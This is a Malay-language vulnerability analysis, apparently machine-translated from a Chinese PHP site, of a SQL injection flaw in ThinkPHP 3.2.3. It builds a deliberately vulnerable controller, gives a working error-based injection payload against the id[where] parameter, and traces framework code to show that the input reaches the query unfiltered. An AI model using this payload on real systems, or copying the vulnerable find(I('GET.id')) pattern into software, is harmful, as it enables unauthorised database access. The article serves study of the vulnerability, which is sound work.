Rumah > Artikel > pembangunan bahagian belakang > Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3
Artikel ini membawa anda pengetahuan yang berkaitan tentang thinkphp, yang terutamanya memperkenalkan isu berkaitan kerentanan suntikan thinkPHP3.2.3sql, termasuk kaedah m, kaedah d, kaedah u, dll. Kandungan berkaitan, saya harap ia akan membantu semua orang.
Pembelajaran yang disyorkan: "Tutorial Video PHP"
Ringkasan kaedah biasa dalam ThinkPHP: kaedah M, kaedah D, kaedah U, kaedah I
Thinkphp3.2.3 Arahan Pembangunan Keselamatan
Bangunan:
Langkah pertama perlu Pertama letakkannya dalam direktori www (saya menggunakan phpstudy untuk windows)! ! ! !
Buat pangkalan data, nama jadual mesti sepadan dengan nama yang anda mahu M seterusnya
Tidak banyak yang boleh dikatakan tentang fail untuk disambungkan ke pangkalan data, Konfigurasikan diri anda: ThinkPHP/Conf/convention.php
Konfigurasikan pengawal: WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php
<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $this->show('原来内容已经省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); }}
Ujian :
muatan:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)#
Memang benar suntikan ralat berjaya, semuanya kerana kewujudan kod ini: $data = M('user')->find(I('GET.id'));
Tiada masalah dengan kaedah I dan M Masalah sebenar terletak pada kaedah
/ThinkPHP/Mode/Lite/Model.class.php
public function find($options=array()) { // 根据复合主键查找记录 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里 // 根据复合主键查询 $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用 $resultSet = $this->db->select($options);//重要的一步
2._parseOptions: Kerana ia adalah terutamanya untuk pilihan[di mana], saya memadamkan semua kod yang tidak berkaitan
/ThinkPHP/Library/Think/Model.class.php
protected function _parseOptions($options=array()) { if(is_array($options)) $options = array_merge($this->options,$options); // 字段类型验证 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where']) // 对数组查询条件进行字段类型检查 foreach ($options['where'] as $key=>$val){ $key = trim($key); if(in_array($key,$fields,true)){ if(is_scalar($val)) { $this->_parseType($options['where'],$key); } }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){ if(!empty($this->options['strict'])){ E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); } } } //上面均没用,到现在开始有用:? // 查询过后清空sql表达式组装 避免影响下次查询 $this->options = array(); // 表达式过滤 $this->_options_filter($options);//这里值得注意 return $options; }
3._options_filter
Tiada lagi di sini
Dan operasi di atas juga akan mengosongkan $options, jadi mungkin terdapat entri yang salah di sini
Jadi betulkan penjejakan bahagian kedua kepada
2.select:/ThinkPHP/Library/Think/Db/Driver.class.php
public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
3.buildSelectSql: Alamatnya sama seperti di atas
public function buildSelectSql($options=array()) { if(isset($options['page'])) { // 根据页数计算limit list($page,$listRows) = $options['page']; $page = $page>0 ? $page : 1; $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20); $offset = $listRows*($page-1); $options['limit'] = $offset.','.$listRows; } $sql = $this->parseSql($this->selectSql,$options); return $sql; }
4.parseSql: Alamat yang sama seperti di atas
public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), $this->parseField(!empty($options['field'])?$options['field']:'*'), $this->parseJoin(!empty($options['join'])?$options['join']:''), $this->parseWhere(!empty($options['where'])?$options['where']:''), $this->parseGroup(!empty($options['group'])?$options['group']:''), $this->parseHaving(!empty($options['having'])?$options['having']:''), $this->parseOrder(!empty($options['order'])?$options['order']:''), $this->parseLimit(!empty($options['limit'])?$options['limit']:''), $this->parseUnion(!empty($options['union'])?$options['union']:''), $this->parseLock(isset($options['lock'])?$options['lock']:false), $this->parseComment(!empty($options['comment'])?$options['comment']:''), $this->parseForce(!empty($options['force'])?$options['force']:'') ),$sql); return $sql; }
5.parseWhere: Sama seperti di atas
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) {//直接满足,直接进入 // 直接使用字符串条件 $whereStr = $where; }else{ // 使用数组表达式 } return empty($whereStr)?'':' WHERE '.$whereStr;}
Terakhir $sql=di mana 1 dan 1=updatexml(1,concat(0x7e,user(),0x7e),1)#
Kemudian
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
Keseluruhan proses tidak mempunyai sebarang penapisan, analisis seay menganggapPHP terlalu susah payah
muatan tidak berubah:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)#
Atau jejak fungsi cari:
Jejak di sini, masuk dan teruskan penjejakan Pada penghujung penjejakan, fungsi ini akan melompat keluar dan nilainya kekal tidak berubah. Pada masa yang sama, masuk ke fungsi seterusnya
Selepas pengesahan, kami melangkah ke fungsi lain:
Teruskan jejak buildSelectSql:
Teruskan jejak parseSql :
Kod akhir menjadi:
SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
Ia masih mudah untuk penyahpepijatan dan pada asasnya tidak perlu menggunakan otak anda
Pembelajaran yang disyorkan: "Tutorial Video PHP"
Atas ialah kandungan terperinci Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!